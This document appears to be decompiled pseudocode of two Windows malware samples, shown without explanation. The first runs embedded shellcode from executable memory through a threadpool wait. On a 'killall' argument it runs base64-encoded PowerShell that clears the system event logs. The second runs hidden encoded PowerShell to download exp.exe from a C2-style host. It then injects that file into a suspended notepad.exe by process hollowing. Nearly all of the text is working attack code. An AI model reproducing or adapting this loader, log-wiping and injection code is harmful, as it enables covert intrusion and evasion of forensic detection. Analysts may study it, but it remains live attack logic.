1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  int v3; // eax
4
  HANDLE EventW; // edi
5
  void *v5; // esi
6
  struct _TP_WAIT *ThreadpoolWait; // eax
7
  int v8; // eax
8

9
  v3 = strcmp(argv[1], "message");
10
  if ( v3 )
11
    v3 = v3 < 0 ? -1 : 1;
12
  if ( v3 )
13
  {
14
    v8 = strcmp(argv[1], "killall");
15
    if ( v8 )
16
      v8 = v8 < 0 ? -1 : 1;
17
    if ( !v8 )
18
      system(
19
        "powershell -ep bypass -enc QwBsAGUAYQByAC0ARQB2AGUAbgB0AEwAbwBnACAALQBMAG8AZwBuAGEAbQBlACAAYQBwAHAAbABpAGMAYQB0A"
20
        "GkAbwBuACwAIgBXAGkAbgBkAG8AdwBzACAAUABvAHcAZQByAFMAaABlAGwAbAAiACwAcwBlAGMAdQByAGkAdAB5ACwAIgBzAHkAcwB0AGUAbQAiAA==");
21
    return 0;
22
  }
23
  else
24
  {
25
    EventW = CreateEventW(0, 0, 1, 0);
26
    v5 = VirtualAlloc(0, 0x120u, 0x1000u, 0x40u);
27
    memmove(v5, &unk_403018, 0x120u);
28
    ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v5, 0, 0);
29
    SetThreadpoolWait(ThreadpoolWait, EventW, 0);
30
    WaitForSingleObject(EventW, 0xFFFFFFFF);
31
    return 0;
32
  }
33
}

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  //省略型態宣告...
4
  v3 = (struct _STARTUPINFOA *)operator new(0x44u);
5
  memset(v3, 0, sizeof(struct _STARTUPINFOA));
6
  v33 = (struct _PROCESS_INFORMATION *)operator new(0x10u);
7
  *v33 = 0;
8
  v4 = operator new(0x18u);
9
  *(_OWORD *)v4 = 0;
10
  *((_QWORD *)v4 + 2) = 0;
11
  ReturnLength = 0;
12
  CreateProcessA(0, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", 0, 0, 1, 4u, 0, 0, v3, v33);
13
  v5 = v33->hProcess;
14
  hProcess = v5;
15
  NtQueryInformationProcess(v33->hProcess, ProcessBasicInformation, v4, 0x18u, &ReturnLength);
16
  v6 = v4[1];
17
  Buffer = 0;
18
  NumberOfBytesRead = 0;
19
  ReadProcessMemory(v5, (LPCVOID)(v6 + 8), &Buffer, 4u, &NumberOfBytesRead);
20
  system(
21
    "powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAd"
22
    "AB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuA"
23
    "GQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA=");
24
  FileA = CreateFileA("C:\\windows\\temp\\exp.exe", 0x80000000, 0, 0, 4u, 0, 0);
25
  FileSize = GetFileSize(FileA, 0);
26
  ProcessHeap = GetProcessHeap();
27
  lpBuffer = HeapAlloc(ProcessHeap, 8u, FileSize);
28
  ReadFile(FileA, lpBuffer, FileSize, 0, 0);
29
  v10 = lpBuffer;
30
  v43 = (char *)lpBuffer + lpBuffer[15];
31
  v11 = *((_DWORD *)v43 + 20);
32
  ModuleHandleA = GetModuleHandleA("ntdll");
33
  NtUnmapViewOfSection = (NTSTATUS (__stdcall *)(HANDLE, PVOID))GetProcAddress(ModuleHandleA, "NtUnmapViewOfSection");
34
  NtUnmapViewOfSection(v5, Buffer);
35
  v14 = (char *)VirtualAllocEx(v5, Buffer, v11, 0x3000u, 0x40u);
36
  Buffer = v14;
37
  v31 = *((_DWORD *)v43 + 21);
38
  v38 = &v14[-*((_DWORD *)v43 + 13)];
39
  *((_DWORD *)v43 + 13) = v14;
40
  WriteProcessMemory(v5, v14, lpBuffer, v31, 0);
41
  v41 = (char *)v10 + v10[15] + 248;
42
  GetLastError();
43
  v47 = 0;
44
  v15 = *((_WORD *)v43 + 3);
45
  if ( v15 )
46
  {
47
    v16 = v41 + 20;
48
    do
49
    {
50
      WriteProcessMemory(v5, &Buffer[*(v16 - 2)], (char *)lpBuffer + *v16, *(v16 - 1), 0);
51
      v16 += 10;
52
      ++v47;
53
    }
54
    while ( v47 < *((unsigned __int16 *)v43 + 3) );
55
    v10 = lpBuffer;
56
    v15 = *((_WORD *)v43 + 3);
57
  }
58
  v17 = 0;
59
  v39 = 0;
60
  v18 = *((_DWORD *)v43 + 41);
61
  v34 = v18;
62
  if ( v15 )
63
  {
64
    v19 = v41;
65
    do
66
    {
67
      if ( *(_DWORD *)v19 == 1818587694 && v19[4] == 111 )
68
      {
69
        v20 = *((_DWORD *)v19 + 5);
70
        v21 = 0;
71
        v32 = v20;
72
        if ( v18 )
73
        {
74
          do
75
          {
76
            v22 = v21 + v20;
77
            v21 += 8;
78
            v23 = (_DWORD *)((char *)v10 + v22);
79
            v24 = (char *)v10 + v21 + v20;
80
            v37 = v23;
81
            v25 = 0;
82
            v36 = v24;
83
            v26 = (unsigned int)(v23[1] - 8) >> 1;
84
            if ( v26 )
85
            {
86
              v35 = v21 + 2 * v26;
87
              do
88
              {
89
                v27 = *(_WORD *)&v24[2 * v25];
90
                if ( v27 >= 0x1000u )
91
                {
92
                  v47 = 0;
93
                  v28 = *v23 + (v27 & 0xFFF);
94
                  ReadProcessMemory(hProcess, &Buffer[v28], &v47, 4u, &NumberOfBytesRead);
95
                  v47 += (int)v38;
96
                  WriteProcessMemory(hProcess, &Buffer[v28], &v47, 4u, 0);
97
                  GetLastError();
98
                  v23 = v37;
99
                  v24 = v36;
100
                }
101
                ++v25;
102
              }
103
              while ( v25 < v26 );
104
              v21 = v35;
105
            }
106
            v18 = v34;
107
            v20 = v32;
108
            v10 = lpBuffer;
109
          }
110
          while ( v21 < v34 );
111
          v19 = v41;
112
          v17 = v39;
113
        }
114
      }
115
      else
116
      {
117
        v19 += 40;
118
        v41 = v19;
119
      }
120
      ++v17;
121
      v10 = lpBuffer;
122
      v39 = v17;
123
    }
124
    while ( v17 < *((unsigned __int16 *)v43 + 3) );
125
  }
126
  v29 = (CONTEXT *)operator new(0x2CCu);
127
  memset(&v29->Dr0, 0, 0x2C8u);
128
  v29->ContextFlags = 65538;
129
  GetThreadContext(v33->hThread, v29);
130
  v29->Eax = (DWORD)&Buffer[*((_DWORD *)v43 + 10)];
131
  SetThreadContext(v33->hThread, v29);
132
  ResumeThread(v33->hThread);
133
  return 0;
134
}